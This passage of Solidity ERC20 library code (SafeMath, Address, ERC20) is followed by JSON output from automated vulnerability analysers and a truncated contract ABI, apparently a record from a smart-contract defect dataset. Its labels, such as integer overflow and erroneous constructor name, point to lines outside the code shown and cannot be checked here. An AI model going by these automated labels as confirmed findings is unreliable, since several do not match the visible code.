remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call.value(weiValue)(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal { } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["422", "339", "304", "240", "367", "286", "396"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["77", "122"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["122"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["195", "68", "45", "71", "28", "70", "35", "64", "39", "40", "67", "55", "36", "48", "58", "18", "27", "51", "65", "24", "19", "54", "33", "29", "46", "63", "59", "30", "61", "12", "72", "41", "17", "31", "13", "21", "47", "38", "73", "25", "32", "60", "23", "15", "11", "22", "53", "34", "52", "20", "57", "44", "16", "42", "37", "26", "66", "69", "49", "43", "50", "56", "14", "62"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["316", "298"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["243", "357", "345", "306", "326", "273"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [290, 291, 292, 293]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [48, 49, 50]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [211, 212, 213, 214, 215, 216, 217]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [264, 262, 263]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [615, 616, 617, 618, 619, 620, 621, 622, 623]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [160, 157, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [272, 273, 274, 275]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [121, 122, 123, 124, 125, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [653, 654, 655]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Context.sol": [18, 19, 20, 21]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [141, 142, 143]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [105, 106, 107]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [192, 193, 184, 185, 186, 187, 188, 189, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [248, 249, 247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [594, 595, 596, 597, 598, 599, 600, 601, 602]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [237, 238, 239]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [518, 519, 520, 521, 522]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [456, 457, 458]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [555, 556, 557, 558]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [440, 441, 439]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [472, 470, 471]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [482, 483, 484, 485]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [536, 537, 538, 539]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [432, 433, 431]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [464, 465, 463]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [504, 501, 502, 503]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [490, 491, 492]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Context.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [3]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [432, 433, 431]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [440, 441, 439]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [215]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [281]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"Context.sol": [13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 189, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 190, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 191, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 11, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 12, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 13, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 14, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 15, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 16, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 17, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 18, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 19, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 20, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 21, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 22, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 23, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 24, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 25, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 26, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 27, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 28, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 29, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 30, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 31, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 32, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 33, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 34, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 35, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 36, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 37, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 38, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 39, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 40, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 41, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 42, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 43, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 44, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 45, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 46, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 47, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 48, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 49, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 50, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 51, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 52, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 53, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 54, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 55, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 56, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 57, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 58, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 59, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 60, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 61, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 62, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 63, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 64, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 65, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 66, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 67, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 68, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 69, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 70, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 71, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 72, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 73, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1044, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1065, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 948, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 240, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 272, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 286, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 304, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 324, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 339, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 367, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 386, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 396, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 422, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 439, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 240, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 272, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 286, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 304, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 324, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 339, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 367, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 386, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 396, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 422, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 77, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 122, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 153, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 180, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 450, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 850, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 852, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 854, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 856, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 857, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 858, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 187, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 847, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 631, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 87, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 102, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 132, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 391, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 658, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 199, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 202, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 203, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 204, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 205, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 658, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 658, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 662, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 662, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 662, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 663, "severity": 1}]
[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"address","name":"_TMTTokenAddress","type":"address"},{"internalType":"address[]","name":"_tokens","type":"address[]"},{"internalType":"uint256[]","name":"_weights","type":"uint256[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Withdrawn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"WithdrawnToken","type":"event"},{"constant":true,"inputs":[],"name":"ETH_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"EXCHANGE_CONTRACT","outputs"